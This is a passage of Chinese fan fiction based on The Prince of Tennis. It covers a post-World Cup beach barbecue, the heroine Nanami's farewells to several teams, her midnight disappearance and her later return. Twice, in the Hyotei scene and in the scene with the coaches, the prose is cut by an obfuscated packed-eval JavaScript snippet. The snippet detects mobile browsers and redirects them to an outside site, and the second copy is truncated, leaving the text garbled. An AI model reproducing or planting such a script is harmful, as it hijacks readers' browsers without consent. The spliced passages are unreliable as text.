那是他们见过最美的夕阳,最美的烟花,最美的金雨。 极尽绚烂美好的这一幕,深深地,刻在了所有人的瞳孔中。 137.第 137 章 选手村海滩边。 天空是深邃的墨蓝色,明月高悬于夜幕,月光静静地洒落在沙滩上,将沙砾染成一片银白色。 岸边散落着十数间木亭,少年们七七八八地围着烤网坐在长条板凳上,亭子中飘出的碳火气息在夜晚的海风中逐渐向外扩散,熙攘、热闹。 今夜参加终极烤肉派对的国家队共八支,分别是日本,第一梯队的德国、法国、瑞士和西班牙,以及美国、希腊、澳大利亚三国。 日本队人数过多,再次分坐在了几个木亭下,高中生一桌,初中生由于应援团也到场便按照学校分坐在几桌。 “诶,七海怎么没来?”丸井文太环顾了一圈,也没找到她的人影。 乾贞治不知何时换上了侍者服出现在了丸井文太身后,他扶了扶眼镜:“大概是和教练们一起去聚餐了吧。” 真是可惜,他研制了新型乾汁,本来还想让二阶堂喝一喝试试,毕竟她也和不二一样,对乾汁免疫力极强。 “驳回。”贝尔蒂突然从角落里冒了出来。“今晚的教练聚餐仅限那几个大叔,七海肯定不在。” “那她会去......啊,她来了!”循着丸井文太的视线望过去,沙滩的另一头,嘴角挂着浅笑的少女姗姗来迟,她看起来很正常。 “七海,快过来坐!”少年们招呼着,她又犯了难,这么多个学校阵营分坐在不同的木亭下,她该先去哪个? 罢了,还是先去青学吧,她如今本就仍是青学人。 七海迈步向青学的木亭下走去,视线却移向不远处的德国队阵营——月色下,德国队的少年们挽起袖口烤肉烤得起劲。 塞弗里德的双瞳快要发射出具现化的凶光,那架势仿佛是打算将几日前的败仗的郁气通过食欲化解。施耐德端着盘子站在一边,憨笑着等待烤好的肉,眼中满是对肉的渴望。 只那个人一如既往的冷峻表情,坐在位置上不知在沉思什么。 国光,不知道他今天会不会来青学这边坐坐。 这次世界杯之后,他就将彻底走上职业选手的道路,与青学的这群少年们恐怕再难见面。还有小不点,他似乎也决定了留在美国队走职业道路。 “七海,来坐。”不二周助柔声呼唤着,招了招手,七海顺势在他身边坐下。 “周助,大家,我来啦。”她环视了一圈,却发现青学的少年们并不是人人脸上都快乐,桃城武眼中的一丝黯然她没有错过,菊丸英二时不时向远处移过去的视线她没有错过。 这张烤肉桌上少了两个人,越前龙马在美国队,手冢国光在德国队。过往的青学分崩离析,是这样的吗? 她知道不是的。 “我去喊两个人来。”七海弯起唇角,青学众人眼睁睁看着她刚坐下却又站了起来,向一个方向毫不犹豫地迈步去。 “莱因哈特,向美国队借龙马用一下哦。”七海来到美国队的烤肉桌边,越前龙马正在和奇柯抢肉吃。 “当然没问题,七海,记得到时候要把人还回来呐。还有,比赛的事,我不知道你暗地里帮了我那么多,谢谢你,七海,以后有机会一定再来美国,我带你玩。” 莱因哈特笑意柔和,拍了拍越前龙马的肩膀。“龙马,去吧。” “越前,跟我走。”七海也跟着招了招手。 越前龙马从善如流地起身,压了压帽檐,帽檐下的猫瞳闪亮,看起来他的心情不错,或许他早已猜到了她要做什么,亦或是,他本就打算那么做。 两人又走到了德国队的木亭边,七海冲着光头少年微微一笑:“博格,我要借用国光一会儿。”博格默默点了点头。 手冢国光早就注意到了她带着越前龙马往这边走的身影,听到她的声音也站了起来,“大家,我先离开一会儿。”德国队的少年们笑着目送他的离去。 她把他们带回来了。 青学全员,集合。 “这下就集齐啦。”七海拍了拍手,叉腰看着这一桌子她朝夕相处了三年的少年们,笑容满面。 “大家,好久不见。”越前龙马笑意张扬,十分随意地在一处空位坐下。 “啊,确实好久没有这样聚在一起了。”手冢国光也在长凳上坐下,金边眼镜下的神情温和。 “手冢......小不点......”菊丸英二瘪起了嘴,吸了吸鼻子。 “英二......”大石秀一郎见菊丸英二这幅百感交集的表情,表情也透着伤感。 糟糕,氛围怎么伤感起来了,这不是她想看到的氛围啊!七海再次转过头环视一圈,在海岸边发现了一把不知谁放在那儿的球拍,就是你了! 于是众人眼睁睁看着她又像离弦之箭般冲了出去,很快又带着球拍回来交给了河村隆—— “Burning!难得的相聚,这时候应该高兴才是啊!!”少年握紧球拍,身后似乎有具现化的火焰迸发出,烤网上原本还泛着生肉红色的牛排瞬间被热情烧焦了。 不二周助轻笑出声,“隆说得没错,今天大家应该开心才是呐。” “嗯!”桃城武收起了伤感的神情,海堂薰沉默地点了点头。 大石秀一郎如梦初醒,忙不迭跟着附和:“啊,是啊!今天大家就高高兴兴地在一起聊聊吧!” 听到这话,菊丸也将心中的伤感压了下去。“大石说得没错喵!” “嗯,今天就不提伤感的话题了吧,不然......”七海将视线移向乾贞治手中拿着的透着诡异亮黑色还冒着泡,杯臂插着一条生鱼的超大杯乾汁,嘴角浮现出一个诡异的笑容。 “不然,就罚他喝乾汁吧,乾,你觉得如何。”她冲他挤了挤眼。 “就按照二阶堂说的来吧,今天我可是准备了超级无敌升级版黄金特制美味乾汁。” 乾贞治面无表情地扶了扶眼镜,将乾汁放到了桌面上,一股说不上难闻还是好闻的异味立时从杯子散发出来,在烤网上空盘旋环绕,钻进了青学每个人的鼻中。 “诶!!我才不要喝那个玩意儿!!”菊丸英二惨叫一声,迅速窜离了位置。 “我倒是有些好奇呢。”棕发少年笑弯了眉。 似乎此时此刻,他们又回到了还在青学的半旧时光,少年们吃着烤肉喝着汽水,插科打诨着。 因为一片烤肉的归属而互相争吵的桃城与海堂以及一旁当着和事佬的河村; 疯狂往自己的烤肉上倒辣椒粉,吃下去却面不改色的不二; 试图欺骗手冢喝下他的特制乾汁却屡战屡败的乾; 为了拯救即将滴落的肉汁而陷入疯狂状态的烤肉奉行大石,以及一旁一脸惊恐的菊丸; 平静地边吃边聊着,看起来是唯二两个正常人的手冢和越前...... 只是这样欢乐的氛围并没能一直持续到烤肉大会结束。 分明他们喝着的都是没有酒精度数的汽水,随着时间推移,少年们却仿佛喝醉了一般,早已忘却了一开始不提伤感事件的约定,将心里话吐露出。 “小不点,你真的决定留在美国队不回来了吗......”菊丸英二一把抱住了越前龙马,眼含热泪。 被拢在怀中,脸上的软肉挤成一团的越前龙马满脸黑线,只是,瞳孔中也闪过一丝快速消失不见的寂寥。 “菊丸学长,你抱得太紧了!”小少年嘟着嘴艰难地把话吐出来。 “我这是舍不得你才抱你抱得这么紧好不好!” “不二,我很高兴见到你的改变。期待着和你在职业赛场再见面。”另一头,手冢国光和不二周助隔着烤桌四目相对。 “嗯,手冢,到时候再好好打一场比赛吧。”不二周助笑意盈盈。 越前龙马刚从菊丸英二的怀抱中挣脱,便插了一句进来:“部长,以后我也要在职业赛场把你打败。” “现在的越前能打败手冢的概率是13.5%。”乾贞治毫不客气地打击了越前龙马一句。 “诶——看来乾学长是收集了更多部长的资料,但是我的资料学长可不全吧。”越前龙马毫不客气地反击。 河村隆轻笑着:“这也是没办法的事嘛,美国队没能打赢西班牙队,不然决赛还可以碰上。” “手冢部长,我要向你道歉。”桃城武突兀开口,“半决赛时,我本来还为你站在日本队的对立面而犹豫该为谁应援......可是二阶堂学姐和我说......” “富士山上流下的一股雪水,无论汇入哪片湖泊,流水只是流水本身,他从未变过。” 桃城武一字一句道,木亭内突然陷入了沉默。 “手冢部长,你从没变过。你永远是我心中最尊敬的部长。”少年咧开了嘴。 “谢谢,桃城。” “部长,谢谢你这三年来的指导,我一定会向你学习,好好带领青学走下去的。”海堂薰眼眶泛红。 大约是受桃城武和海堂薰的影响,这个头一开,少年们都坐不住了,一个个说起了自己的感言。 “手冢,一直以来都想谢谢你。虽然你不再是我的路标,但是,我从不后悔这三年追随着你成长,你是我的网球道路上途径过的最美的一处风景。无论是作为朋友还是部长,你都为我,为大家做出了很好的榜样。未来,我们顶峰再相遇。” “手冢,这三年来你贡献出的宝贵的数据我都珍藏着,虽然在半决赛的时候分享给了幸村,如果你还想要的话我可以再拿给你。”乾贞治扶了扶眼镜。 “你的变化早已超出了我过去收集到的数据,相信未来你的数据会更新得更快,真是让人期待啊呵呵呵。” “手冢,我还一直记得这三年来我们在寿司店庆祝的时刻,希望以后你还能再回到日本,大家相聚。” “手冢,过去三年你已经做得很好了喵!在职业道路上继续进步吧,我和大石会关注着你的每一场比赛的哟~” “部长......谢谢你的指导。”越前龙马的脸上浮现出了可疑的红晕,“以后我一定会打败你,还远远不够呢。” “手冢,感谢你带领青学向前走了这三年,你的付出大家都看在眼里,一直以来辛苦你了。青学,大家,能有你这样的部长,是我们的幸运。”大石秀一郎擦了擦眼角。 “我们期待着你作为职业选手在职网赛事上的表现,祝你未来前程似锦,实现自己的网球梦想。” “谢谢大家。”手冢国光微微勾起了唇角。 还有一个人尚未发言。 大石:“七海,你也说几句?......七海?” 手冢国光抬起头看向坐在不二身边从始至终浅笑着的少女,心突然揪紧了。 他花了一个黄昏的时间,消化接受了她无法和他回德国队的事实,只是他还没有放弃,她仍是德国队的顾问,他不会放弃。 只要,她不离开。 七海在呼唤声中回过神来。 “国光,大家,还记得青学全国大赛优胜那一天吗?” 她将视线望远,透过烤网上升起的热气和轻烟,似乎又看到了数月前的那一幕。 他们站在全国大赛的赛场上,等待着象征着第一名的优胜奖授旗,Arena赛场上方,阳光明媚。 “啊。”手冢国光点了点头,其他少年们也在一瞬间被拉进了回忆中,那是青学漫长而短暂的三年中,他们最开心最兴奋的一天。 “那时我说的话,就是我今天想说的话。”她轻声道,视线透过轻烟与他交汇。 “心若有所向往,何惧道阻且长。国光,我相信这条漫长的职业道路你一定能好好走下去,一次次战胜自我,实现自我。” “你永远是我心中......最了不起的人。” “谢谢......七海。”手冢国光的声音不知何时变得干涩。 “周助,你说的那句话真的很好。”七海复又感叹,“只要仍在打网球,大家就是一心一体的。其实不再在打网球又如何呢,那些回忆,只要我们还记得,就都是鲜活可爱的。” “更何况,又不是彻底天各一方,以后大家一定还有碰面的机会的。”她冲着面前的少年们露出了一个安抚的笑容。 “就是就是!”菊丸英二附和道。 “大家继续,我去其他几个学校和国家队转转。”七海起身,走向了其他方向,留在位置上的两人凝望着她离去的背影,沉默不语。 ----------------------- 来到立海大的木亭边时,切原赤也正在暴风哭泣。 “这是怎么了,赤也?”七海忙不迭关心道,坐到了他身边。 切原赤也听到她的关切,哭得更大声了。 “呜呜......公主殿下,大家都要去高中部了,剩我一个人在中等部呜呜呜,幸村部长,真田副部长,柳学长,大家怎么都要走了呜呜呜呜......” 七海失笑,轻拍着少年的背。“原来是为了这件事,但是,他们走了你不就能当上部长了吗?你就是立海大中等部网球部第一人了哦。” “好像是哦。”少年瞬间止住了哭泣,然而也只是那几秒。 “呜呜,但是不能让真田副部长喊我部长,这个部长当得还有什么意思!可恶!怎么只有我是二年生!”此话一出,海带同学不意外地被坐在对面的真田弦一郎锤了头。 “啊啊啊!真田副部长,很痛啊!不要再敲我的头了,我以后可是部长!” 柳莲二听到现在,宣布了一个意外的消息。 “赤也,我们打算让你去当副部长。” “诶?!!为什么!”切原赤也瞪大了双眼。 “赤也,现在的你如果成为部长,只会成为枷锁,束缚你的网球之路,就和过去的真田一样。”幸村耐心解释道。 “诶,这样吗......”切原赤也有几分委屈和不甘,当初明明说好让他当新任部长。 只是,这是幸村部长的决定,他好像没能力改变他的决定......啊!有一个人或许可以。 “公主殿下......”切原赤也发动装可怜技能,抓住少女的胳膊一阵轻晃。 七海眼含温柔地揉了揉少年的海藻头,再次抬头望向对面的立海大三巨头时,神色一转严肃。 “精市,真田,柳,我知道你们是为了赤也好才做出的这项决策。只是,我想他也应有体验的资格。就算你们希望赤也以后走上职业选手的道路,那他届时也需要承担背负很多责任。” “无束缚的成长,真的存在吗。”七海悠悠然道。 “赤也过去确实有很多不成熟的地方,或许这也是你们认为他不够适合的原因之一。可是,人是会改变的。” “如果你们希望能有人帮他承担一部分职责,让他不至于分心太多,不如试试让那个人当副部长辅佐赤也呢?” “当然,我也不是立海大的人,这也只是我的一点看法。” “公主殿下......”切原赤也眼泪汪汪,对侧的三人则陷入了沉思。 “好啦,今天是日本队夺得世界杯冠军的庆功宴,不说这些以后的事了,大家开开心心吃吃喝喝嘛。”七海浅笑着。 丸井文太敏锐地捕捉到了刚才话中的漏洞,“七海,你说你不是立海大的人......难道你改变主意了,高中不来立海大读了吗?” “我......我暂时还没法决定。”她抱歉地笑了笑,相对的,幸村精市脸上的笑意却渐失。 今夜之后会发生什么事,无人知晓。 “二阶堂,仁王君打算从高中开始打自己的网球。”柳生比吕士突兀开口。 七海的笑容又大了几分,“哦呀,是吗?” “不过在那之前先和Duke环游世界,噗哩。”夹起烤肉,烟气之后的白发少年笑容痞气十足。 “二阶堂,大家都很希望你能来立海大呢。”胡狼桑原诚恳道。 真田弦一郎:“二阶堂,来立海大读书吧,教练的位置会为你留好。” “谢谢大家的邀请......”她的眼眶止不住地发烫,她曾经以为自己没有归处,却发现如今,处处都是她的归处。 漂泊之人,也可以停驻吗? 她真的,不想离开。 -------------------------- 冰帝的木亭下热闹非凡。 “二阶堂前辈!你来啦!”凤长太郎兴奋地挥了挥手。 “嗯,我来了。”七海笑眯眯道。 “七海,七海,快来我边上坐。”向日岳人拍了拍身边的空位。 “岳人。”七海在妹妹头少年身边坐下,发出一声喟叹,随即轻轻抱住了他,头贴在他的肩上。 “七,七海?”向日岳人因着少女突然的拥抱愣住了,紧接着,肩头传来一阵温热的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376249|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿意。 冰帝,这个地方就和那个人一样,永远能给她温暖。 “岳人,”她哽咽着,“我永远不会忘记,在街头网球场遇到你和侑士的那天。” 抬起头,松开拥抱,少女泪眼婆娑地望向冰帝的少年们,“景吾,侑士,岳人,宍户,慈郎,日吉,凤,桦地,我会永远记得和你们在一起的时光。” 街头网球场的初遇,冰帝网球场和校外训练室的日日夜夜,她的出院派对,他们的游乐园之行......只是这些柔软的回忆,就足够她咀嚼回味一生。 “七海,你怎么哭了......只是不来冰帝又不是以后见不到嘛。”向日岳人也伤感起来。 镜片遮住了忍足侑士晦涩的双目,他已从迹部口中得知了她或许将离开。 “二阶堂,我们想你来冰帝读高中。”芥川慈郎委屈道。 宍户亮:“二阶堂,继续来冰帝高等部当我们的顾问吧,再过一年长太郎和日吉桦地也会升上来,大家都希望你留下来。” “二阶堂前辈,我还想实现对你的以下克上。”日吉若努力保持着冷静。 他终于开口了:“二阶堂,但凡你还记得我们,你就必须留下来,听到了吗,啊恩?你还欠本大爷一屁股债。” “二阶堂前辈,迹部......”桦地正准备说点什么—— “桦地,别说了。”他面色沉痛。 “......wushi.” “我保证,只要有机会,我一定会努力留下来。”七海伸出指腹擦去眼角的泪痕,笑靥如花。 ------------------------ 高中生阵营,少年们三三两两闲聊着。 “二阶堂教练,早等你来了呐。”入江奏多眼尖地发现了不远处的来人,其余人也纷纷转过头去。 “小七海~” “二阶堂,你来了。”平等院凤凰也已知道她或许将离开的消息,听到身后的脚步声,未曾转过头。 “恭喜大家最后一次U17世界杯取得了世界第一的好成绩,弥补了两年前的遗憾。以后如果有走职业道路的打算,可以联系平等院和三船教练哦。”七海笑眯眯道。 “还有,德川,恭喜你成功证明了仁义可以夺得世界。也实现了当时说的好好活着的诺言。”她冲德川和也挤了挤眼,少年勾起了唇角。 种岛修二却愣了愣,“二阶堂,不是该联系你吗?” “不,还是联系平等院吧。”她干脆道。 “二阶堂,你跟老子过来。”平等院凤凰突然站起身,沉声道。 “啊?哦。” 海面被月光反射成一片银白色,一阵阵海浪缓缓地翻滚而来,拍打在沙滩上发出细碎的沙啦声。 浪花在月光下泛起白色的泡沫,又慢慢地收回到海中,直至下一波海浪再次推向沙滩。 两人并肩站在海岸边听着海浪翻滚,沉默不语。 “如果你能留下。” “什么?”七海侧过头。 “二阶堂,如果你能留下,你想好做什么了吗?”他侧过身低头盯着身侧的少女。 月色下,四目相对。 “我还没想好......” “留在我身边。”他平静道。 她以为她没听清他的话,“平等院,你说什么?” “二阶堂你这个蠢货,老子说留在我身边,不要让我说第三次。”平等院凤凰臭着脸。 “平等院,你......”她双唇微张,双瞳瞪得浑圆,满脸难以置信。 “不管你接受还是拒绝,等明天再说。”少年带着恼意自顾自地大踏步走回木亭下。 Duke笑意柔和:“老大,成功了吗?” “呵。”平等院凤凰轻嗤一声,冷着张脸不再多言,周围人均露出原来如此的表情。 -------------------- 她还没来得及走向其他阵营,海岸边,又有一个人找了上来。 “越前君?”世界杯的最后一天,站在她面前的橙子少年依旧抛着他的橙子。 “神様,听说你要离开了。”越前龙雅笑得漫不经心。 “你又是从哪里知道的?”七海愣了愣。 “看来是真的。”他的笑意逐渐收敛。“可惜了,我还等着神様拯救我呢。” “抱歉......”七海垂眸歉然道,“如果我回不来,确实无法遵守和你的约定了。” “神様,其实我早看出来了呐,你是和我一样孤独的动物。” “如果能留下,要和我一起去流浪吗?” 冷白的月色下,少年的神情是一反常态的柔和,这样的表情,过去她只看到他对小不点展现过。因而,她很快反应过来了他的言外之意。 “越前君。”她开起了玩笑,“你知道吗,两个人的流浪就不叫流浪了,叫私奔。” “听起来也不错。”越前龙雅挑了挑眉。 “Toda mi ambición es ser libre toda mi vida.” 七海突然认真地冲着他念了一句西语,面前的少年抛橙子的动作顿住了。 “自由一生,是我的全部野心。”她笑了笑,“越前君,我想这句话很适合你。” “抱歉,我没法陪你流浪。因为我注定无法像你那样自由,即使能留下,我也有太多事想去做,要去做。” “是吗,那可真是遗憾呐。”越前龙雅沉默了片刻,又恢复了那副玩世不恭的表情,接着手中的橙子被掰成了两半,递到少女面前。 “二阶堂,尝一尝吗?” 七海犹豫了几秒,伸出手接过半个橙子,尝试着像他那样连皮咬了一口,橙子外皮的涩味和微苦瞬间充满口腔。 “越前君,橙子连皮吃,果然很苦啊,你是怎么能忍受的呢。”咽下橙子,她轻笑起来,眼眶却止不住地泛红,泪水聚在眼底,将落未落。 “神様,别哭。神可不能为我这样的人心疼流泪。” “是橙子皮太苦了。”她拙劣地自圆其说,泪水却还是顺着眼眶落下。 下一瞬,眼前的脸突然放大了数倍,脸颊上掠过一抹温软,少年直起身痞笑着。 “神様的眼泪,味道也不错。” “别以为你这么说,我就会原谅你偷亲我两回。”七海斜眼瞪了过去。 “那第三回也不用原谅了。” 她的手蓦然一松。 只咬了一口的半个橙子滚落在地,顺着席卷而来又退下的浪花卷向大海。 ------------------------------ 又去其他学校以及第一梯队的四支国家队转悠了一圈,闲聊了几句,给家人打了个电话,她终于将该说的真相都述之于口,等待着属于自己的宿命。 天色渐晚,少年们三三两两地从海滩边离去。 时针逐渐走向12点。 她脱下鞋袜,在海岸边无聊地踩着水,感受着浪花拂过脚面,冰凉柔软,脚下的沙砾吻着皮肤,带来微妙的触感。 不远处站着那三个人。 七海侧过头笑得无奈:“搞得这么郑重其事的,好怪哦。万一过了12点,我还站在原地岂不是很尴尬。” 她向着大海迈了几步,转过身来,看向不远处的三人。 “呐,国光,景吾,精市,你们知道量子纠缠吗?” 一阵海风吹来,柔软的发丝四散飞扬,她的声音被吹散在湿咸的空气中,明明只有咫尺之遥,却像是从极远之处传来的呓语。 他们沉默着,她却笑意嫣然。身后的冷白月光为她的轮廓勾勒出一圈神秘的银边,仿佛她是从皎洁的月亮上,又或是从缱绻的海浪中踏步而来的世外之人。 “说的是,一旦制备了两个纠缠的粒子,无论相隔多远,哪怕是宇宙那么远的距离,当对其中一个粒子进行测量时,另一个粒子就会瞬间发生相对的坍塌变化。” “也就是说,即使时空相隔,当你想念一个人的时候,对方也会想你。” 她笑着,哽咽着,眼底泛起星星点点的泪光,被月光照得发亮。 “所以如果我真的离开了,就不要再想我了。” “想念太苦,我的回应太远,你们听不见的。” “别等我了。” 138.第 138 章 她最终还是消失了,就如同这个世界的荒谬一般,12点一到,便荒谬地在那三个人面前消失在了海边。 无法被抓住无法被留下,只那一瞬间,人影便于海边的寂静之中化为乌有。 灰姑娘在午夜魔法消失后尚且留下了一只水晶鞋,她却什么都没留下。 翻开记忆之匣才发现,当初就曾有人说过: 她不是辛德瑞拉,她是安提戈涅。 明知结果却义无反顾地前行。 打开她的房间替她收拾行李时,却发现她的行李早已被她收拾好,放在了床边,却没能找到一些郑重告别的人该留下的东西,譬如便利贴上的留言或是辞别的信件。 她贴心又狠心地让一些人既痛且恨。 但换个角度看,她留下的东西太多了,那些东西或许无法捉摸,却有一个词足矣形容—— “痕迹。” 到处都是她曾经存在的痕迹,或深或浅,岁月能够抚平尖刺将人变得圆滑,却无法将凹陷下去的痕迹抹平。 就像树干上的刻痕,随着时间流逝却挥之不去,成为了树身上不可磨灭的纹路,越发清晰。 知道她为何消失的人,只言她有事去了远方,不知道她为何消失的人,被保护在谎言铸成的空壳中。 无人再扮演她的角色,脆弱的空壳终有一日将自行破碎。 ----------------------------- 七海回到了那片熟悉的混沌中。 视野所及,尽是漫无边际的朦胧阴暗。 这里没有任何明确的轮廓,一切都模糊不清,如同置身于一片无尽的黑灰色迷雾之中。无论看向何处,皆是一片灰蒙蒙的虚无,冰冷、死寂。 “所以,把我扔回这里是想干嘛?”七海冲着混沌发出疑问。 无人应答。 好在,她早已习惯了孤独流浪,自言自语。 感受不到时间的流逝,闲着无聊她便开始研究自己。 “说起来,平等院可以通过冥想进入自己的精神世界,我应该也可以才是。” 她当然能够感知到自己的精神世界的模样。 精神力弱小的人,精神世界只是一颗豆子般大。 平等院凤凰精神世界的具象化是漆黑的深渊下一片无边的黑暗之地,而她的精神世界的具象化——是漫无边际的一片海。 只是她虽然可以调动那些力量,却从未成功进入过这片海。 “确实不太会游泳,难道是怕我溺死?”七海满头黑线地自说自话着。 她本想着如果能留下,就听从三船入道的建议去千叶找六角中的教练老爹帮忙,看看能不能解决她精神力的问题,眼下看来,只能靠她自己了。 如今她的精神力三分天下,最底层是暗流涌动的紊乱力量,中间是打着她的印记的蓝色之海,最上层则是透明的纯净之力。 “哼,把我留在这里也阻挡不了我天天向上。” “首先,试着探索一下这三层力量的用途,然后看看能不能融合吧。” 她盘腿坐下,闭上了双眼。 ...... 时间的脉搏在这里变得冰冷僵硬,似乎这片混沌被困在了一个无法辨别的维度里,俗世分秒的流逝与日夜的更迭在此处都变得毫无意义。 不知道过了多久,或许沧海桑田。 “离开吧。”是那道熟悉的嘶哑声。 七海睁开眼:“你说话能不能用好主谓宾定状补?从哪里离开又要我去哪里?” 那道声音像是被噎住了,不再发声,但她却听到了另一道传到心里的声音。 与前者相反,这道声音柔和空灵,像是穿过层层轻纱透出。 【做出你的选择。】 “什么选择?” 【选择在这个世界死亡,回到来处,一切荒谬都将消失。】 【选择在这个世界留下,一切荒谬仍将存在。】 她陷入了沉默,半晌,发出了一声嗤笑。 “你该不会以为,目睹了我在这个世界做出的牺牲,就认为我理所当然的会选择第一项吧?” “我以为你们有能力直接逼我离开。看来确实如他所说,我的命运早已和他们捆绑在一起,你们已经无法控制我,只能等我主动做出选择了。” “而之所以现在才出现,是因为你们发现我居然已经有能力彻底掌控你们给的精神力了,你们慌了,对吗?” “我或许有想过牺牲吧,可是我凭什么信你们的话?” 无人应答。 “我选择第二项。”她果断道。荒谬就荒谬吧,她会一次次斩断荒谬。 说出这句话的瞬间,一股强烈的力量从四面八方向这片混沌空间蜂拥而来,仿佛要将它整个撕裂。 黑暗的屏障开始崩塌,裂痕迅速扩散,沙沙的声音犹如末日的钟声。 一束束光芒从裂缝中射出,照进这片混沌中,直到,天光大白。 ------------------------ 七海第N次从床上醒来,身处的地方完全出乎她的意料—— 她居然回到了合宿营地那间专门为她腾出的房间里。 低头打量,果然,她还穿着她的教练兼选手套装,内里是选手制服,外搭教练的白大褂外套,将手伸进衣兜里—— 她的手机居然在!居然还有电! 锁屏上的时间显示为2005年3月11日,距离她离开这个世界,不过一年零两个月罢了。 她轻舒了口气,“如果等我回来都2015年那可真是玩完儿了。” 最可怕的还是她收到的数不清的未读短讯,点开的那一刻,泪已落下。 “怎么有人把我这里当成日记本啊。”她笑着,手指向上一次次滑动,泪水顺着眼眶不住地流淌而下。 这些短讯,恐怕一天一夜也翻不完。意识到这一点,她收起手机,推开门,走出了房间。 监控室——空无一人。 会议室——空无一人。 走下楼,来到了训练场边——空无一人?! 惶恐一阵阵翻涌而上,难道这是一个没有人的平行世界......不,手机就在手上,她明明可以打电话的。 然而,临到即将按下拨号键的那一刻她却犹豫了。 “不管了,最坏的结果不过就是继续一个人孤独。”只不过刚产生希望就破灭也太可悲就是了。 并不漫长的忙音后,电话被接通。 “摩西摩西......不是诈骗电话啦!是我,我回来了,妈妈。” “妈妈,我不走了......对不起......” “......国小是在神奈川第四小学......第一次自己去买菜是国小二年级,结果在市场里迷路......妈妈不要趁机打听我的恋爱八卦!......最喜欢的体育运动?” “当然是网球啦。”遍布泪痕的脸上勾起了一个巨大的笑容。 ----------------------- 翌日。 东京一处清吧的包厢内。 七海一推开门,就见沙发上的四个人齐刷刷站了起来,本来一路上含在眼眶中的泪水瞬间退去,无他,这四人齐刷刷站起来的样子配上震惊的面部表情实在有些滑稽。 “三船教练,斋藤,黑部,拓植,好久不见呀!”她关上身后的门,笑着挥了挥手。 他们仍僵在原地,似是还没从惊骇中回过神来。 “小七海......你真的回来了......”拓植龙二的声音像是从喉咙深处发出,极其艰涩,紧接着其余三人也恢复了神智。 斋藤:“小七海,这一年多你都去了哪里,发生了什么?” 三船:“让她坐下来慢慢说吧。” 黑部由起夫一张口便与众不同:“虽然这一年你不在,但是那四个国家队还是执意要给你发一笔工资,顾问的职位也为你保留着。我们都帮你把钱存起来了,还有世界杯的工资。” 七海哭笑不得,看来她缺钱这件事是深入人心了。 在沙发上缓缓坐下,她将这一年多听着怪力乱神匪夷所思的经历娓娓道来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376250|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ...... “所以,某种意义上来说,我算是真的成了这个世界的神吧。”她一如既往地语不惊人死不休。她的精神力使用已经不会再受到任何限制了。 “啊呀,谁能想到我当初在慕尼黑捡了个神回来。”斋藤至浅笑着挠头,话语中的得意昭然若揭。 “对了,这箱子东西是给你的。”黑部由起夫指了指包间角落里的一个硕大无比的纸箱。 她刚到就注意到了,之前没来得及问,没想到是给她的。 “里面是什么?” 拓植面色复杂:“你走的前几个月还能瞒住,后来......你杳无音讯,没有去任何一个学校读书,没有任何人见过你。再加上你的联系方式都诡异地被切断,最后,所有人都知道你离开了。” 她瞪大了双眼:“什么叫所有人都知道我离开了?!” 斋藤至憨笑着:“就是字面意义上的所有人,高中生加中学生全员。还有第一梯队国家队的个别人......” 回忆起当时的场景,斋藤至温和的表情快要挂不住。那时,梅达诺雷威胁他们如果不说出她的去向就和日本队的人打比赛,这谁还敢瞒他= = 她想她的下巴大概是脱臼了,掉地上了。 “你,你们......那这箱子是什么,又和我离开有什么关系?” “那是大家留给你的礼物,想着如果你哪天能回来。” 七海走到那个和自己的大腿高度齐平的箱子前,掀开了盖子。 小金准备的章鱼小丸子兑换券; 侑士买的蝴蝶钻石胸针; 真田亲笔写的“静水流深”字帖; 周助留下的仙人掌花标本; 仁王的礼物是那个她最后没买到的网球发圈; 鬼十次郎是一副儿童画; 入江奏多是一本《演技提升三十六计》; 慈郎留下了一整套pocky巧克力棒; 梅达诺雷是一本精装版《浮士德》; ...... 居然,除了那三个人,每个人都给她留了礼物和一封信。她甚至在箱子底部发现了半个橙子,似乎是仿真制品,所以不会腐烂。 说不清道不明的情绪似海啸般瞬间席卷而来,鼻子不住地发酸,她捂住了嘴,仍然盖不住口中发出的呜咽声。 站在箱子边不知默默抽泣了多久,她终于平复下心绪坐回沙发边。 “七海,那你接下来有什么打算。”三船入道沉声问。 “嘛,首先补考,恢复学籍,然后......我打算成为职业选手,我还想试一试考网球裁判员证。”她再一次语不惊人死不休。 三船入道眼底闪过一道精光,“七海,你不打算当教练了?” “教练我也要当,职业选手嘛,打个比赛罢了,小菜一碟。选手曝光度比教练高,我打算几年以后抽空拿一次女网大满贯就不打了,惊艳一下世人,顺便证明一下自己的实力。” 好吧,大满贯的奖金丰厚也是一个重要原因。谁会嫌钱多呢! “我,要成为网球界的神哦。”她撩了撩长发,语气十分之拽。 一阵无言后,室内四人均笑出了声。小七海,真不愧是你啊。 “欧洲那边我也得抽空去一趟,不能白收钱......唉,这么一想,刚回来就好忙啊。”七海掏出手机,埋着头在备忘录上疯狂敲字。 “小七海,你好像还有亟待解决的问题吧?” “什么?”七海抬起头,一脸迷茫。 “那么多喜欢你的少年,你要选谁呢?”斋藤至揶揄道。 她的回答出人意料: “这个嘛,我已经有答案了。” 一年多的时间,足够她想清楚了。 在这个荒诞的世界里,他们都在孤独中寻找着自我。 那些曾经的波澜,不过是沧海桑田的一瞬,那些曾经的痛苦,不过是箭镞暂伴的片晌。 重要的是,久别的人,终会重逢;收到的真心,终能让她交付。 她会走向他,坚定地,一步步。 139.第 139 章 为自己写一篇简短的总结和回顾。 一、写文的契机 